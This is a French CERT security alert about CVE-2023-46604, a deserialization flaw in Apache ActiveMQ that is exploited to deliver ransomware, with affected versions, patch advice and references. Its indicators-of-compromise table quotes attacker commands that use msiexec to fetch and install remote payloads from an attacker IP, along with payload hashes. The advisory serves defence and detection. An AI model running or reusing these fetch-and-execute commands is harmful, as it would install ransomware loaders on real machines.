aDvens

Security for the greater good

Bulletin d'alerte

Vulnérabilité critique dans Apache ActiveMQ

2023-11-08 | **TLP:CLEAR** | CERT aDvens - CTI
Advens - 16 Quai de la Mégisserie - 75001 Paris

Sommaire

CVE-2023-46604

Apache ActiveMQ est un courtier (broker) de messages développé en Java compatible avec les protocoles industriels standards.

Cette faille est due à une désérialisation non sécurisée dans le protocole OpenWire d'Apache ActiveMQ. Elle permet à un attaquant, en envoyant des requêtes spécifiquement forgées, d'exécuter du code arbitraire sur le système.

Cette vulnérabilité est activement exploitée pour déployer des rançongiciels, notamment HelloKitty et TellYouThePass.

Type de vulnérabilité

- **CWE-502** : Deserialization of Untrusted Data

Risque

- Exécution de code arbitraire

Criticité (score de base CVSS v3.1)

Vecteur d'attaque	Réseau	Portée	Changée
Complexité d'attaque	Faible	Impact sur la confidentialité	Faible
Privilèges requis	Aucun	Impact sur l'intégrité	Élevé
Interaction de l'utilisateur	Aucune	Impact sur la disponibilité	Élevé

Produits impactés

- Apache ActiveMQ et son module Legacy OpenWire versions antérieures à 5.15.16 (exclue)
- Apache ActiveMQ et son module Legacy OpenWire versions comprises entre 5.16.0 et 5.16.7 (exclue)
- Apache ActiveMQ et son module Legacy OpenWire versions comprises entre 5.17.0 et 5.17.6 (exclue)
- Apache ActiveMQ et son module Legacy OpenWire versions comprises entre 5.18.0 et 5.18.3 (exclue)

Recommandations

- Mettre à jour Apache ActiveMQ vers la version 5.15.16, 5.16.7, 5.17.6 ou 5.18.3.
- Des informations complémentaires sont disponibles dans le bulletin de l'éditeur.

Preuve de concept

Une preuve de concept est disponbile en sources ouvertes.

Indicateurs de Compromission

TLP	TYPE	VALEUR
TLP:CLEAR	URL	hxxp://172.245.16.125/m2.png
TLP:CLEAR	URL	hxxp://172.245.16.125/m4.png
TLP:CLEAR	Commande	cmd.exe /c "start msiexec /q /i hxxp://172.245.16.125/m4.png"
TLP:CLEAR	Commande	cmd.exe /c "start msiexec /q /i hxxp://172.245.16.125/m2.png"
TLP:CLEAR	SHA256 I Artefact	8177455ab89cc96f0c26bc42907da1a4f0b21fdc96a0cc96650843fd616551f4 I M2.msi
TLP:CLEAR	SHA256 I Artefact	8c226e1f640b570a4a542078a7db59bb1f1a55cf143782d93514e3bd86dc07a0 I M4.msi
TLP:CLEAR	SHA256 I Artefact	C3C0CF25D682E981C7CE1CC0A00FA2B8B46CCE2FA49ABE38BB412DA21DA99CB7 I dllloader
TLP:CLEAR	SHA256 I Artefact	3E65437F910F1F4E93809B81C19942EF74AA250AE228CACA0B278FC523AD47C5 I EncDll

Références

- https://nvd.nist.gov/vuln/detail/CVE-2023-46604
- https://activemq.apache.org/security-advisories.data/CVE-2023-46604-announcement.txt
- https://www.rapid7.com/blog/post/2023/11/01/etr-suspected-exploitation-of-apache-activemq-cve-2023-46604/
- https://www.bleepingcomputer.com/news/security/tellyouthepass-ransomware-joins-apache-activemq-rce-attacks/